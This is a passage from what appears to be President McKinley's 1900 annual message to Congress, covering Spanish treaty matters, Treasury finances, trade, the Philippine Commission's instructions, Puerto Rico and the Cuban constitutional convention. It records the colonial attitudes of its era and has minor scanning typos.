natural\nbetween the two countries.By the terms of the Treaty of Peace the line bounding the ceded Philippine\ngroup in the southwest failed to include several small islands lying\nwestward of the Sulus, which have always been recognized as under Spanish\ncontrol. The occupation of Sibutd and Cagayan Sulu by our naval forces\nelicited a claim on the part of Spain, the essential equity of which could\nnot be gainsaid. In order to cure the defect of the treaty by removing all\npossible ground of future misunderstanding respecting the interpretation of\nits third article, I directed the negotiation of a supplementary treaty,\nwhich will be forthwith laid before the Senate, whereby Spain quits all\ntitle and claim of title to the islands named as well as to any and all\nislands belonging to the Philippine Archipelago lying outside the lines\ndescribed in said third article, and agrees that all such islands shall be\ncomprehended in the cession of the archipelago as fully as if they had been\nexpressly included within those lines. In consideration of this cession the\nUnited States is to pay to Spain the sum of $100,000.A bill is now pending to effect the recommendation made in my last annual\nmessage that appropriate legislation be had to carry into execution Article\nVII of the Treaty of Peace with Spain, by which the United States assumed\nthe payment of certain claims for indemnity of its citizens against Spain.\nI ask that action be taken to fulfill this obligation.The King of Sweden and Norway has accepted the joint invitation of the\nUnited States, Germany, and Great Britain to arbitrate claims growing out\nof losses sustained in the Samoan Islands in the course of military\noperations made necessary by the disturbances in 1899.Our claims upon the Government of the Sultan for reparation for injuries\nsuffered by American citizens in Armenia and elsewhere give promise of\nearly and satisfactory settlement. His Majesty's good disposition in this\nregard has been evinced by the issuance of an irade for rebuilding the\nAmerican college at Harpoot.The failure of action by the Senate at its last session upon the commercial\nconventions then submitted for its consideration and approval, although\ncaused by the great pressure of other legislative business, has caused much\ndisappointment to the agricultural and industrial interests of the country,\nwhich hoped to profit by their provisions. The conventional periods for\ntheir ratification having expired, it became necessary to sign additional\narticles extending the time for that purpose. This was requested on our\npart, and the other Governments interested have concurred with the\nexception of one convention, in respect to which no formal reply has been\nreceived.Since my last communication to the Congress on this subject special\ncommercial agreements under the third section of the tariff act have been\nproclaimed with Portugal, with Italy, and with Germany. Commercial\nconventions tinder the general limitations of the fourth section of the\nsame act have been concluded with Nicaragua, with Ecuador, with the\nDominican Republic, with Great Britain on behalf of the island of Trinidad,\nand with Denmark on behalf of the island of St. Croix. These will be early\ncommunicated to the Senate. Negotiations with other Governments are in\nprogress for the improvement and security of our commercial relations.The policy of reciprocity so manifestly rests upon the principles of\ninternational equity and has been so repeatedly approved by the people of\nthe United States that there ought to be no hesitation in either branch of\nthe Congress in giving to it full effect.This Government desires to preserve the most just and amicable commercial\nrelations with all foreign countries, unmoved by the industrial rivalries\nnecessarily developed in the expansion of international trade. It is\nbelieved that the foreign Governments generally entertain the same purpose,\nalthough in some instances there are clamorous demands upon them for\nlegislation specifically hostile to American interests. Should these\ndemands prevail I shall communicate with the Congress with the view of\nadvising such legislation as may be necessary to meet the emergency.The exposition of the resources and products of the Western Hemisphere to\nbe held at Buffalo next year promises important results not only for the\nUnited States but for the other participating countries. It is gratifying\nthat the Latin-American States have evinced the liveliest interest, and the\nfact that an International American Congress will be held in the City of\nMexico while the exposition is in progress encourages the hope of a larger\ndisplay at Buffalo than might otherwise be practicable. The work of\npreparing an exhibit of our national resources is making satisfactory\nprogress under the direction of different officials of the Federal\nGovernment, and the various States of the Union have shown a disposition\ntoward the most liberal participation in the enterprise.The Bureau of the American Republics continues to discharge, with the\nhappiest results, the important work of promoting cordial relations between\nthe United States and the Latin-American countries, all of which are now\nactive members of the International Union. The Bureau has been instrumental\nin bringing about the agreement for another International American\nCongress, which is to meet in the City of Mexico in October, 1901. The\nBureau's future for another term of ten years is assured by the\ninternational compact, but the congress will doubtless have much to do with\nshaping new lines of work and a general policy. Its usefulness to the\ninterests of Latin-American trade is widely appreciated and shows a\ngratifying development.The practical utility of the consular service in obtaining a wide range of\ninformation as to the industries and commerce of other countries and the\nopportunities thereby afforded for introducing the sale of our goods have\nkept steadily in advance of the notable expansion of our foreign trade, and\nabundant evidence has been furnished, both at home and abroad, of the fact\nthat the Consular Reports, including many from our diplomatic\nrepresentatives, have to a considerable extent pointed out ways and means\nof disposing of a great variety of manufactured goods which otherwise might\nnot have found sale abroad.Testimony of foreign observers to the commercial efficiency of the consular\ncorps seems to be conclusive, and our own manufacturers and exporters\nhighly appreciate the value of the services rendered not only in the\nprinted reports but also in the individual efforts of consular officers to\npromote American trade. An increasing part of the work of the Bureau of\nForeign Commerce, whose primary duty it is to compile and print the\nreports, is to answer inquiries from trade organizations, business houses,\netc., as to conditions in various parts of the world, and, notwithstanding\nthe smallness of the force employed, the work has been so systematized that\nresponses are made with such promptitude and accuracy as to elicit\nflattering encomiums. The experiment of printing the Consular Reports daily\nfor immediate use by trade bodies, exporters, and the press, which was\nbegun in January, 1898, continues to give general satisfaction.It is gratifying to be able to state that the surplus revenues for the\nfiscal year ended June 30, 1900, were $79,527,060.18. For the six preceding\nyears we had only deficits, the aggregate of which from 1894 to 1899,\ninclusive, amounted to $283,022,991.14. The receipts for the year from all\nsources, exclusive of postal revenues, aggregated $567,240,851.89, and\nexpenditures for all purposes, except for the administration of the postal\ndepartment, aggregated $487,713,791.71. The receipts from customs were\n$233,164,871.16, an increase over the preceding year Of $27,036,389.41. The\nreceipts from internal revenue were $295,327,926.76, an increase Of\n$21,890,765.25 over 1899. The receipts from miscellaneous sources were\n$38,748,053.97, as against $36,394,976.92 for the previous year.It is gratifying also to note that during the year a considerable reduction\nis shown in the expenditures of the Government. The War Department\nexpenditures for the fiscal year 1900 were $134,774,767.78, a reduction of\n$95,066,486.69 over those of 1899. In the Navy Department the expenditures\nwere $55,953,077.72 for the year 1900, as against $63,942,104.25 for the\npreceding year, a decrease of $7,989,026.53. In the expenditures on account\nof Indians there was a decrease in 1900 over 1899 Of $2,630,604.38; and in\nthe civil and miscellaneous expenses for 1900 there was a reduction Of\n$13,418,065.74.Because of the excess of revenues over expenditures the Secretary of the\nTreasury was enabled to apply bonds and other securities to the sinking\nfund to the amount Of $56,544,556.06. The details of the sinking fund are\nset forth in the report of the Secretary of the Treasury, to which I invite\nattention. The Secretary of the Treasury estimates that the receipts for\nthe current fiscal year will aggregate $580,000,000 and the expenditures\n$500,000,000, leaving an excess of revenues over expenditures of\n$80,000,000. The present condition of the Treasury is one of undoubted\nstrength. The available cash balance November 30 was $139,303,794.50. Under\nthe form of statement prior to the financial law of March 14 last there\nwould have been included in the statement of available cash gold coin and\nbullion held for the redemption of United States notes.If this form were pursued, the cash balance including the present gold\nreserve of $150,000,000, would be $289,303,794.50. Such balance November\n30, 1899, was $296,495,301.55. In the general fund, which is wholly\nseparate from the reserve and trust funds, there was on November 30,\n$70,090,073.15 in gold coin and bullion, to which should be added\n$22,957,300 in gold certificates subject to issue, against which there is\nheld in the Division of Redemption gold coin and bullion, making a total\nholding of free gold amounting to $93,047,373.15.It will be the duty as I am sure it will be the disposition of the Congress\nto provide whatever further legislation is needed to insure the continued\nparity under all conditions between our two forms of metallic money, silver\nand gold.Our surplus revenues have permitted the Secretary of the Treasury since the\nclose of the fiscal year to call in the funded loan of 1891 continued at 2\nper cent, in the sum of $25,364,500. To and including November 30,\n$23,458,100 Of these bonds have been paid. This sum, together with the\namount which may accrue from further redemptions under the call, will be\napplied to the sinking fund.The law of March 14, 1900, provided for refunding into 2 per cent\nthirty-year bonds, payable, principal and interest, in gold coin of the\npresent standard value, that portion of the public debt represented by the\n3 per cent bonds of 1908, the 4 percents Of 1907, and the 5 percents of\n1904, Of which there was outstanding at the date of said law $839,149,930,\nThe holders of the old bonds presented them for exchange between March 14\nand November 30 to the amount of $364,943,750. The net saving to the\nGovernment on these transactions aggregates $9,106,166.Another effect of the operation, as stated by the Secretary, is to reduce\nthe charge upon the Treasury for the payment of interest from the dates of\nrefunding to February 1, 1904, by the sum of more than seven million\ndollars annually. From February 1, 1904, to July 1, 11907, the annual\ninterest charge will be reduced by the sum of more than five millions, and\nfor the thirteen months ending August 1, 1908, by about one million. The\nfull details of the refunding are given in the annual report of the\nSecretary of the Treasury.The beneficial effect of the financial act of 1900, so far as it relates to\na modification of the national banking act, is already apparent. The\nprovision for the incorporation of national banks with a capital of not\nless than $25,000 in places not exceeding three thousand inhabitants has\nresulted in the extension of banking facilities to many small communities\nhitherto unable to provide themselves with banking institutions under the\nnational system. There were organized from the enactment of the law up to\nand including November 30, 369 national banks, of which 266 were with\ncapital less than $50,000, and 103 with capital of $50,000 or more.It is worthy of mention that the greater number of banks being organized\nunder the new law are in sections where the need of banking facilities has\nbeen most pronounced. Iowa stands first, with 30 banks of the smaller\nclass, while Texas, Oklahoma, Indian Territory, and the middle and western\nsections of the country have also availed themselves largely of the\nprivileges under the new law.A large increase in national bank-note circulation has resulted from the\nprovision of the act which permits national banks to issue circulating\nnotes to the par value of the United States bonds deposited as security\ninstead of only go per cent thereof, as heretofore. The increase in\ncirculating notes from March 14 to November 30 is $77,889,570.The party in power is committed to such legislation as will better make the\ncurrency responsive to the varying needs of business at all seasons and in\nall sections.Our foreign trade shows a remarkable record of commercial and industrial\nprogress. The total of imports and exports for the first time in the\nhistory of the country exceeded two billions of dollars. The exports are\ngreater than they have ever been before, the total for the fiscal year 1900\nbeing $1,394,483,082, an increase over 1899 of $167,459,780, an increase\nover 1898 of $163,000,752, over 1897 Of $343,489,526, and greater than 1896\nby $511,876,144.The growth of manufactures in the United States is evidenced by the fact\nthat exports of manufactured products largely exceed those of any previous\nyear, their value for 1900 being $433,851,756, against $339,592,146 in\n1899, an increase of 28 per cent.Agricultural products were also exported during 1900 in greater volume than\nin 1899, the total for the year being $835,858,123, against $784,776,142 in\n1899.The imports for the year amounted to $849,941,184, an increase over 1899 of\n$152,792,695. This increase is largely in materials for manufacture, and is\nin response to the rapid development of manufacturing in the United States.\nWhile there was imported for use in manufactures in 1900 material to the\nvalue of $79,768,972 in excess of 1899, it is reassuring to observe that\nthere is a tendency toward decrease in the importation of articles\nmanufactured ready for consumption, which in 1900 formed 15.17 per cent of\nthe total imports, against 15.54 per cent in 1899 and 21.09 per cent in\n1896.I recommend that the Congress at its present session reduce the\ninternal-revenue taxes imposed to meet the expenses of the war with Spain.\nin the sum of thirty millions of dollars. This reduction should be secured\nby the remission of those taxes which experience has shown to be the most\nburdensome to the industries of the people.I specially urge that there be included in whatever reduction is made the\nlegacy tax on bequests for public uses of a literary, educational, or\ncharitable character.American vessels during the past three years have carried about 9 per cent\nof our exports and imports. Foreign ships should carry the least, not the\ngreatest, part of American trade. The remarkable growth of our steel\nindustries, the progress of shipbuilding for the domestic trade, and our\nsteadily maintained expenditures for the Navy have created an opportunity\nto place the United States in the first rank of commercial maritime powers.Besides realizing a proper national aspiration this will mean the\nestablishment and healthy growth along all our coasts of a distinctive\nnational industry, expanding the field for the profitable employment of\nlabor and capital. It will increase the transportation facilities and\nreduce freight charges on the vast volume of products brought from the\ninterior to the seaboard for export, and will strengthen an arm of the\nnational defense upon which the founders of the Government and their\nsuccessors have relied. In again urging immediate action by the Congress on\nmeasures to promote American shipping and foreign trade, I direct attention\nto the recommendations on the subject in previous messages, and\nparticularly to the opinion expressed in the message of 1899: I am\nsatisfied the judgment of the country favors the policy of aid to our\nmerchant marine, which will broaden our commerce and markets and upbuild\nour sea-carrying capacity for the products of agriculture and manufacture,\nwhich, with the increase of our Navy, mean more work and wages to our\ncountrymen, as well as a safeguard to American interests in every part of\nthe world. The attention of the Congress is invited to the recommendation\nof the Secretary of the Treasury in his annual report for legislation in\nbehalf of the Revenue-Cutter Service, and favorable action is urged.In my last annual message to the Congress I called attention to the\nnecessity for early action to remedy such evils as might be found to exist\nin connection with combinations of capital organized into trusts, and again\ninvite attention to my discussion of the subject at that time, which\nconcluded with these words: It is apparent that uniformity of legislation\nupon this subject in the several States is much to be desired. It is to be\nhoped that such uniformity, founded in a wise and just discrimination\nbetween what is injurious and what is useful and necessary in business\noperations, may be obtained, and that means may be found for the Congress,\nwithin the limitations of its constitutional power, so to supplement an\neffective code of State legislation as to make a complete system of laws\nthroughout the United States adequate to compel a general observance of the\nsalutary rules to which I have referred.The whole question is so important and far-reaching that I am sure no part\nof it will be lightly considered, but every phase of it will have the\nstudied deliberation of the Congress, resulting in wise and judicious\naction. Restraint upon such combinations as are injurious, and which are\nwithin Federal jurisdiction, should be promptly applied by the Congress.In my last annual message I dwelt at some length upon the condition of\naffairs in the Philippines. While seeking to impress upon you that the\ngrave responsibility of the future government of those islands rests with\nthe Congress of the United States, I abstained from recommending at that\ntime a specific and final form of government for the territory actually\nheld by the United States forces and in which as long as insurrection\ncontinues the military arm must necessarily be supreme. I stated my\npurpose, until the Congress shall have made the formal expression of its\nwill, to use the authority vested in me by the Constitution and the\nstatutes to uphold the sovereignty of the United States in those distant\nislands as in all other places where our flag rightfully floats, placing,\nto that end, at the disposal of the army and navy all the means which the\nliberality of the Congress and the people have provided. No contrary\nexpression of the will of the Congress having been made, I have steadfastly\npursued the purpose so declared, employing the civil arm as well toward the\naccomplishment of pacification and the institution of local governments\nwithin the lines of authority and law.Progress in the hoped-for direction has been favorable. Our forces have\nsuccessfully controlled the greater part of the islands, overcoming the\norganized forces of the insurgents and carrying order and administrative\nregularity to all quarters. What opposition remains is for the most part\nscattered, obeying no concerted plan of strategic action, operating only by\nthe methods common to the traditions of guerrilla warfare, which, while\nineffective to alter the general control now established, are still\nsufficient to beget insecurity among the populations that have felt the\ngood results of our control and thus delay the conferment upon them of the\nfuller measures of local self-government, of education, and of industrial\nand agricultural development which we stand ready to give to them.By the spring of this year the effective opposition of the dissatisfied\nTagals to the authority of the United States was virtually ended, thus\nopening the door for the extension of a stable administration over much of\nthe territory of the Archipelago. Desiring to bring this about, I appointed\nin March last a civil Commission composed of the Hon. William H. Taft, of\nOhio; Prof. Dean C. Worcester, of Michigan; the Hon. Luke I. Wright, of\nTennessee; the Hon. Henry C. Ide, of Vermont, and Prof. Bernard Moses, of\nCalifornia. The aims of their mission and the scope of their authority are\nclearly set forth in my instructions of April 7, 1900, addressed to the\nSecretary of War to be transmitted to them:In the message transmitted to the Congress on the 5th of December, 1899, I\nsaid, speaking of the Philippine Islands: \"As long as the insurrection\ncontinues the military arm must necessarily be supreme. But there is no\nreason why steps should not be taken from time to time to inaugurate\ngovernments essentially popular in their form as fast as territory is held\nand controlled by our troops. To this end I am considering the advisability\nof the return of the Commission, or such of the members thereof as can be\nsecured, to aid the existing authorities and facilitate this work\nthroughout the islands.\"To give effect to the intention thus expressed, I have appointed Hon.\nWilliam H. Taft, of Ohio; Prof. Dean C. Worcester, of Michigan; Non. Luke\nI. Wright, of Tennessee; Hon. Henry C. Ide, of Vermont, and Prof. Bernard\nMoses, of California, Commissioners to the Philippine Islands to continue\nand perfect the work of organizing and establishing civil government\nalready commenced by the military authorities, subject in all respects to\nany laws which Congress may hereafter enact.The Commissioners named will meet and act as a board, and the Hon. William\nH. Taft t is designated as president of the board. It is probable that the\ntransfer of authority from military commanders to civil officers will be\ngradual and will occupy a considerable period. Its successful\naccomplishment and the maintenance of peace and order in the meantime will\nrequire the most perfect co-operation between the civil and military\nauthorities in the islands, and both should be directed during the\ntransition period by the same Executive Department. The Commission will\ntherefore report to the Secretary of War, and all their action will be\nsubject to your approval and control.You will instruct the Commission to proceed to the city of Manila, where\nthey will make their principal office, and to communicate with the Military\nGovernor of the Philippine Islands, whom you will at the same time direct\nto render to them every assistance within his power in the performance of\ntheir duties. Without hampering them by too specific instructions, they\nshould in general be enjoined, after making themselves familiar with the\nconditions and needs of the country, to devote their attention in the first\ninstance to the establishment of municipal governments, in which the\nnatives of the islands, both in the cities and in the rural communities,\nshall be afforded the opportunity to manage their own local affairs to the\nfullest extent of which they are capable and subject to the least degree of\nsupervision and control which a careful study of their capacities and\nobservation of the workings of native control show to be consistent with\nthe maintenance of law, order, and loyalty.The next subject in order of importance should be the organization of\ngovernment in the larger administrative divisions corresponding to\ncounties, departments, or provinces, in which the common interests of many\nor several municipalities falling within the same tribal lines, or the same\nnatural geographical limits, may best be subserved by a common\nadministration. Whenever the Commission is of the opinion that the\ncondition of affairs in the islands is such that the central administration\nmay safely be transferred from military to civil control they will report\nthat conclusion to you, with their recommendations as to the form of\ncentral government to be established for the purpose of taking over the\ncontrol.Beginning with the 1st day of September, 1900, the authority to exercise,\nsubject to my approval, through the Secretary of War, that part of the\npower of government in the Philippine Islands which is of a legislative\nnature is to be transferred from the Military Governor of the islands to\nthis Commission, to be thereafter exercised by them in the place and stead\nof the Military Governor, under such rules and regulations as you shall\nprescribe, until the establishment of the civil central government for the\nislands contemplated in the last foregoing paragraph, or until Congress\nshall otherwise provide. Exercise of this legislative authority will\ninclude the making of rules and orders, having the effect of law, for the\nraising of revenue by taxes, customs duties, and imposts; the appropriation\nand expenditure of public funds of the islands; the establishment of an\neducational system throughout the islands; the establishment of a system\nto secure an efficient civil service; the organization and establishment of\ncourts; the organization and establishment of municipal and departmental\ngovernments, and all other matters of a civil nature for which the Military\nGovernor is now competent to provide by rules or orders of a legislative\ncharacter.The Commission will also have power during the same period to appoint to\noffice such officers under the judicial, educational, and civil-service\nsystems and in the municipal and departmental governments as shall be\nprovided for. Until the complete transfer of control the Military Governor\nwill remain the chief executive head of the government of the islands, and\nwill exercise the executive authority now possessed by him and not herein\nexpressly assigned to the Commission, subject, however, to the rules and\norders enacted by the Commission in the exercise of the legislative powers\nconferred upon them. In the meantime the municipal and departmental\ngovernments will continue to report to the Military Governor and be subject\nto his administrative supervision and control, under your direction, but\nthat supervision and control will be confined within the narrowest limits\nconsistent with the requirement that the powers of government in the\nmunicipalities and departments shall be honestly and effectively exercised\nand that law and order and individual freedom shall be maintained.All legislative rules and orders, establishments of government, and\nappointments to office by the Commission will take effect immediately, or\nat such times as they shall designate, subject to your approval and action\nupon the coming in of the Commission's reports, which are to be made from\ntime to time as their action is taken. Wherever civil governments are\nconstituted under the direction of the Commission such military posts,\ngarrisons, and forces will be continued for the suppression of insurrection\nand brigandage and the maintenance of law and order as the Military\nCommander shall deem requisite, and the military forces shall be at all\ntimes subject, under his orders, to the call of the civil authorities for\nthe maintenance of law and order and the enforcement of their authority.In the establishment of municipal governments the Commission will take as\nthe basis of their work the governments established by the Military\nGovernor under his order of August 8, 1899. and under the report of the\nboard constituted by the Military Governor by his order of January 29,\n1900, to formulate and report a plan of municipal government, of which His\nHonor Cayetano Arellano, President of the Audiencia, was chairman, and they\nwill give to the conclusions of that board the weight and consideration\nwhich the high character and distinguished abilities of its members\njustify.In the constitution of departmental or provincial governments they will\ngive especial attention to the existing government of the island of Negros,\nconstituted, with the approval of the people of that island, under the\norder of the Military Governor of July 22, 1899, and after verifying, so\nfar as may be practicable, the reports of the successful working of that\ngovernment they will be guided by the experience thus acquired so far as it\nmay be applicable to the condition existing in other portions of the\nPhilippines. They will avail themselves, to the fullest degree practicable,\nof the conclusions reached by the previous Commission to the Philippines.In the distribution of powers among the governments organized by the\nCommission, the presumption is always to be in favor of the smaller\nsubdivision, so that all the powers which can properly be exercised by the\nmunicipal government shall be vested in that government, and all the powers\nof a more general character which can be exercised by the departmental\ngovernment shall be vested in that government, and so that in the\ngovernmental system, which is the result of the process, the central\ngovernment of the islands, following the example of the distribution of the\npowers between the States and the National Government of the United States,\nshall have no direct administration except of matters of purely general\nconcern, and shall have only such supervision and control over local\ngovernments as may be necessary to secure and enforce faithful and\nefficient administration by local officers.The many Different degrees of civilization and varieties of custom and\ncapacity among the people of the different islands preclude very definite\ninstruction as to the part which the people shall take in the selection of\ntheir own officers; but these general rules are to be observed: That in all\ncases the municipal officers, who administer the local affairs of the\npeople, are to be selected by the people, and that wherever officers of\nmore extended jurisdiction are to be selected in any way, natives of the\nislands are to be preferred, and if they can be found competent and willing\nto perform the duties, they are to receive the offices in preference to any\nothers.It will be necessary to fill some offices for the present with Americans\nwhich after a time may well be filled by natives of the islands. As soon as\npracticable a system for ascertaining the merit and fitness of candidates\nfor civil office should be put in force. An indispensable qualification for\nall offices and positions of trust and authority in the islands must be\nabsolute and unconditional loyalty to the United States, and absolute and\nunhampered authority and power to remove and punish any officer deviating\nfrom that standard must at all times be retained in the hands of the\ncentral authority of the islands.In all the forms of government and administrative provisions which they are\nauthorized to prescribe the Commission should bear in mind that the\ngovernment which they are establishing is designed not for our\nsatisfaction, or for the expression of our theoretical views, but for the\nhappiness, peace, and prosperity of the people of the Philippine Islands,\nand the measures adopted should be made to conform to their customs, their\nhabits, and even heir prejudices, to the fullest extent consistent with the\naccomplishment of the Indispensable requisites of just and effective\ngovernment.At the same time the Commission should bear in mind, and the people of the\nislands should be made plainly to understand, that there are certain great\nprinciples of government which have been made the basis of our governmental\nsystem which we deem essential to the rule of law and the maintenance of\nindividual freedom, and of which they have, unfortunately, been denied the\nexperience possessed by us; that there are also certain practical rules of\ngovernment which we have found to be essential to the preservation of these\ngreat principles of liberty and law, and that these principles and these\nrules of government must be established and maintained in their islands for\nthe sake of their liberty and happiness, however much they may conflict\nwith the customs or laws of procedure with which they are familiar.It is evident that the most enlightened thought of the Philippine Islands\nfully appreciates the importance of these principles and rules, and they\nwill inevitably within a short time command universal assent. Upon every\ndivision and branch of the government of the Philippines, therefore, must\nbe imposed these inviolable rules:That no person shall be deprived of life, liberty, or property without due\nprocess of law; that private property shall not be taken for public use\nwithout just compensation; that in all criminal prosecutions the accused\nshall enjoy the right to a speedy and public trial, to be informed of the\nnature and cause of the accusation, to be confronted with the witnesses\nagainst him, to have compulsory process for obtaining witnesses in his\nfavor, and to have the assistance of counsel for his defense; that\nexcessive bail shall not be required, nor excessive fines imposed, nor\ncruel and unusual punishment inflicted; that no person shall be put twice\nin jeopardy for the same offense, or be compelled in any criminal case to\nbe a witness against himself; that the right to be secure against\nunreasonable searches and seizures shall not be violated; that neither\nslavery nor involuntary servitude shall exist except as a punishment for\ncrime; that no bill of attainder or ex-post facto law shall be passed; that\nno law shall be passed abridging the freedom of speech or of the press, or\nthe rights of the people to peaceably assemble and petition the Government\nfor a redress of grievances; that no law shall be made respecting an\nestablishment of religion, or prohibiting the free exercise thereof, and\nthat the free exercise and enjoyment of religious profession and worship\nwithout discrimination or preference shall forever be allowed.It will be the duty of the Commission to make a thorough investigation into\nthe titles to the large tracts of land held or claimed by individuals or by\nreligious orders; into the justice of the claims and complaints made\nagainst such landholders by the people of the island or any part of the\npeople, and to seek by wise and peaceable measures a just settlement of the\ncontroversies and redress of wrongs which have caused strife and bloodshed\nin the past. In the performance of this duty the Commission is enjoined to\nsee that no injustice is done; to have regard for substantial rights and\nequity, disregarding technicalities so far as substantial right permits,\nand to observe the following rules:That the provision of the Treaty of Paris pledging the United States to the\nprotection of all rights of property in the islands, and as well the\nprinciple of our own Government which prohibits the taking of private\nproperty without due process of law, shall not be violated; that the\nwelfare of the people of the islands, which should be a paramount\nconsideration, shall be attained consistently with this rule of property\nright; that if it becomes necessary for the public interest of the people\nof the islands to dispose of claims to property which the Commission finds\nto be not lawfully acquired and held disposition shall be made thereof by\ndue legal procedure, in which there shall be full opportunity for fair and\nimpartial hearing and judgment; that if the same public interests require\nthe extinguishment of property rights lawfully acquired and held due\ncompensation shall be made out of the public treasury therefore; that no\nform of religion and no minister of religion shall be forced upon any\ncommunity or upon any citizen of the islands; that, upon the other hand, no\nminister of religion shall be interfered with or molested in following his\ncalling, and that the separation between State and Church shall be real,\nentire, and absolute.It will be the duty of the Commission to promote and extend, and, as they\nfind occasion, to improve the system of education already inaugurated by\nthe military authorities. In doing this they should regard as of first\nimportance the extension of a system of primary education which shall be\nfree to all, and which shall tend to fit the people for the duties of\ncitizenship and for the ordinary avocations of a civilized community. This\ninstruction should be given in the first instance in every part of the\nislands in the language of the people. In view of the great number of\nlanguages spoken by the different tribes, it is especially important to the\nprosperity of the islands that a common medium of communication may be\nestablished, and it is obviously desirable that this medium should be the\nEnglish language. Especial attention should be at once given to affording\nfull opportunity to all the people of the islands to acquire the use of the\nEnglish language.It may be well that the main changes which should be made in the system of\ntaxation and in the body of the laws under which the people are governed,\nexcept such changes as have already been made by the military government,\nshould be relegated to the civil government which is to be established\nunder the auspices of the Commission. It will, however, be the duty of the\nCommission to inquire diligently as to whether there are any further\nchanges which ought not to be delayed, and if so, they are authorized to\nmake such changes subject to your approval. In doing so they are to bear in\nmind that taxes which tend 6 penalize or repress industry and enterprise\nare to be avoided; that provisions for taxation should be simple, so that\nthey may be understood by the people; that they should affect the fewest\npracticable subjects of taxation which will serve for the general\ndistribution of the burden.The main body of the laws which regulate the rights and obligations of the\npeople should be maintained with as little interference as possible.\nChanges made should be mainly in procedure, and in the criminal laws to\nsecure speedy and impartial trials, and at the same time effective\nadministration and respect for individual rights.In dealing with the uncivilized tribes of the islands the Commission should\nadopt the same course followed by Congress in permitting the tribes of our\nNorth American Indians to maintain their tribal organization and\ngovernment, and under which many of those tribes are now living in peace\nand contentment, surrounded by a civilization to which they are unable or\nunwilling to conform. Such tribal governments should, however, be subjected\nto wise and firm regulation, and, without undue or petty interference,\nconstant and active effort should be exercised to prevent barbarous\npractices and introduce civilized customs.Upon all officers and employees of the United States, both civil and\nmilitary, should be impressed a sense of the duty to observe not merely the\nmaterial but the personal and social rights of the people of the islands,\nand to treat them with the same courtesy and respect for their personal\ndignity which the people of the United States are accustomed W require from\neach other.The articles of capitulation of the city of Manila on the 13th of August,\n1898, concluded with these words:\"This city, its inhabitants, its churches and religious worship, its\neducational establishments, and its private property of all descriptions,\nare placed under the special safeguard of the faith and honor of the\nAmerican Army.\"I believe that this pledge has been faithfully kept. As high and sacred an\nobligation rests upon the Government of the United States to give\nprotection for property and life, civil and religious freedom, and wise,\nfirm, and unselfish guidance in the paths of peace and prosperity to all\nthe people of the Philippine Islands. I charge this Commission to labor for\nthe full performance of this obligation, which concerns the honor and\nconscience of their country, in the firm hope that through their labors all\nthe inhabitants of the Philippine Islands may come to look back with\ngratitude to the day when God gave victory to American arms at Manila and\nset their land under the sovereignty and the protection of the people of\nthe United States.Coincidently with the entrance of the Commission upon its labors I caused\nto be issued by General MacArthur, the Military Governor of the\nPhilippines, on June 21, 1900, a proclamation of amnesty in generous terms,\nof which many of the insurgents took advantage, among them a number of\nimportant leaders.This Commission, composed of eminent citizens representing the diverse\ngeographical and political interests of the country, and bringing to their\ntask the ripe fruits of long and intelligent service in educational,\nadministrative, and judicial careers, made great progress from the outset.\nAs early as August 21, 1900, it submitted a preliminary report, which will\nbe laid before the Congress, and from which it appears that already the\ngood effects of returning order are felt; that business, interrupted by\nhostilities, is improving as peace extends; that a larger area is under\nsugar cultivation than ever before; that the customs revenues are greater\nthan at any time during the Spanish rule; that economy and efficiency in\nthe military administration have created a surplus fund of $6,000,000,\navailable for needed public improvements; that a stringent civil-service\nlaw is in preparation; that railroad communications are expanding, opening\nup rich districts, and that a comprehensive scheme of education is being\norganized.Later reports from the Commission show yet more encouraging advance toward\ninsuring the benefits of liberty and good government to the Filipinos, in\nthe interest of humanity and with the aim of building up an enduring,\nself-supporting, and self-administering community in those far eastern\nseas. I would impress upon the Congress that whatever legislation may be\nenacted in respect to the Philippine Islands should be along these generous\nlines. The fortune of war has thrown upon this nation an unsought trust\nwhich should be unselfishly discharged, and devolved upon this Government a\nmoral as well as material responsibility toward these millions whom we have\nfreed from an oppressive yoke.I have on another occasion called the Filipinos the wards of the nation.\nOur obligation as guardian was not lightly assumed; it must not be\notherwise than honestly fulfilled, aiming first of all to benefit those who\nhave come under our fostering care. It is our duty so to treat them that\nour flag may be no less beloved in the mountains of Luzon and the fertile\nzones of Mindanao and Negros than it is at home, that there as here it\nshall be the revered symbol of liberty, enlightenment, and progress in\nevery avenue of development.The Filipinos are a race quick to learn and to profit by knowledge He would\nbe rash who, with the teachings of contemporaneous history in view, would\nfix a limit to the degree of culture and advancement yet within the reach\nof these people if our duty toward them be faithfully performed.The civil government of Puerto Rico provided for by the act of the Congress\napproved April 12, 1900 is in successful operation The courts have been\nestablished. The Governor and his associates, working intelligently and\nharmoniously, are meeting with Commendable success.On the 6th of November a general election was held in the island for\nmembers of the Legislature, and the body elected has been called to convene\non the first Monday of December.I recommend that legislation be enacted by the Congress conferring upon the\nSecretary of the Interior supervision over the public lands in Puerto Rico,\nand that he be directed to ascertain the location and quantity of lands the\ntitle to which remained in the Crown of Spain at the date of cession of\nPuerto Rico to the United States, and that appropriations necessary for\nsurveys be made, and that the methods of the disposition of such lands be\nprescribed by law.On the 25th of July, 1900, I directed that a call be issued for an election\nin Cuba for members of a constitutional convention to frame a constitution\nas a basis for a stable and independent government in the island. In\npursuance thereof the Military Governor issued the following instructions:\nWhereas the Congress of the United States, by its joint resolution of April\n20, 1898, declared:\"That the people of the island of Cuba are, and of right ought to be, free\nand independent.\"That the United States hereby disclaims any disposition or intention to\nexercise sovereignty, jurisdiction, or control over said island except for\nthe pacification thereof, and asserts its determination, when that is\naccomplished, to leave the government and control of the island to its\npeople;\"And whereas, the people of Cuba have established municipal governments,\nderiving their authority from the suffrages of the people given under just\nand equal laws, and are now ready, in like manner, to proceed to the\nestablishment of a general government which shall assume and exercise\nsovereignty, jurisdiction, and control over the island:Therefore, it is ordered that a general election be held in the island of\nCuba on the third Saturday of September, in the year nineteen hundred, to\nelect delegates to a convention to meet in the city of Havana at twelve\no'clock noon on the first Monday of November, in the year nineteen hundred,\nto frame and adopt a constitution for the people of Cuba, and as a part\nthereof to provide for and agree with the Government of the United States\nupon the relations to exist between that Government and the Government of\nCuba, and to provide for the election by the people of officers under such\nconstitution and the transfer of government to the officers so elected.The election will be held in the several voting precincts of the island\nunder, and pursuant to, the provisions of the electoral law of April 18,\n1900, and the amendments thereof. The election was held on the 15th of\nSeptember, and the convention assembled on the 5th of November, 1900, and\nis now in session.In calling the convention to order, the Military Governor of Cuba made the\nfollowing statement: As Military Governor of the island, representing the\nPresident of the United States, I call this convention to order.It will be your duty, first, to frame and adopt a constitution for Cuba,\nand when that has been done to formulate what in your opinion ought to be\nthe relations between 